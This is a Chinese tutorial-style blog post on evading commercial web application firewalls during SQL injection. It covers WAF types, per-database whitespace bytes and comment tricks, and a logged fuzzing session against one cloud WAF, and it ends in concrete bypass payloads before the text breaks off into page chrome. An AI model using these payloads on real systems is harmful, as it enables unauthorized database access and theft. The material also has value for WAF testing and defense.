sql注入中各种waf的绕过方式,狗,盾,神,锁,宝

0x01 搞起

当我们遇到一个waf时,要确定是什么类型的?先来看看主流的这些waf,狗、盾、神、锁、宝、卫士等等。。。(在测试时不要只在官网测试,因为存在版本差异导致规则库并不一致)

图片

image-20240927210758839

1.云waf:

在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。

2.主机防护软件:

在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。

3.硬件ips/ids防护、硬件waf(这里先不讲)

使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

再来说明下某些潜规则(关系):

百度云加速免费版节点基于CloudFlare

安全宝和百度云加速规则库相似

创宇云安全和腾讯云安全规则库相似

腾讯云安全和门神规则库相似

硬件waf自身漏洞往往一大堆

当Rule相似时,会导致一个问题,就比如和双胞胎结婚晓得吧?嗯。

0x02 司空见惯

h0ck1r丶羽

我们还需要把各种特性都记牢,在运用时加以变化会很有效果。

1.数据库特性

代码语言:javascript

(1)注释:#---- ---+///**/
/*letmetest*/
;

利用注释简单绕过云锁的一个案例:

图片

image-20240927210852012

拦截的,但// > 1个就可以绕过了,也就是///**/以上都可以。

图片

image-20240927210919032

(2)科学记数法:

图片

image-20240927210937316

(3)空白字符:

SQLite3 0A 0D 0C 09 20

MySQL5 09 0A 0B 0C 0D A0 20

PosgresSQL 0A 0D 0C 09 20

Oracle 11g 00 0A 0D 0C 09 20

MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(4)+号:

图片

image-20240927211029564

(5)-号:

图片

image-20240927211049463

(6)``符号:

图片

image-20240927211110988

(7)~号:

图片

image-20240927211131977

(8)!号:

图片

image-20240927211153290

(9)@形式

图片

image-20240927211220832

(10)点号.1:

图片

image-20240927211241635

(11)单引号双引号:

图片

image-20240927211313869

(12)括号select(1):

图片

image-20240927211335331

试试union(select)云盾会不会拦截

(13)花括号:

这里举一个云盾的案例,并附上当时fuzz的过程:

union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。

图片

image-20240927211359752

Bypass Payload

1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x dd
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值